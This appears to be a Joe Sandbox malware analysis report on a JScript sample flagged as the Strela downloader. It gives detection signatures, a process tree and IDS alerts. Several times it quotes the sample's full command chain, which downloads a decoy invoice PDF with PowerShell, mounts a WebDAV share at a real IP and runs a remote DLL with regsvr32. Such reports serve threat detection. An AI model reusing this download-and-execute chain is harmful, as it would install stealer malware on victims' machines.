Edit tour

Windows Analysis Report
1003135002549521218.js

Overview

General Information

Sample name:	1003135002549521218.js
Analysis ID:	1588808
MD5:	b0e5f27fd6f8aacbb289bd7ef900362d
SHA1:	dce96028b0d5469c7b82214c4c1a94ef53ea8718
SHA256:	583f75e1d6cc94888fcd050330a63155e00dc1b60876fc13ffa97e9478c6c5de
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5476 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6848 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5500 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6504 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1556,i,2341799134305516262,1218484323056796191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5832 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6108 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6692 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5476	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5500, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5500, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ProcessId: 5476, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6108, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ProcessId: 5476, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5500, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5832, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6108, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6692, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5832, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6108, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 6848, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:46:54.304143+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:46:56.594419+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:46:54.304143+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1003135002549521218.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1003135002549521218.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1003135002549521218.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:46:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 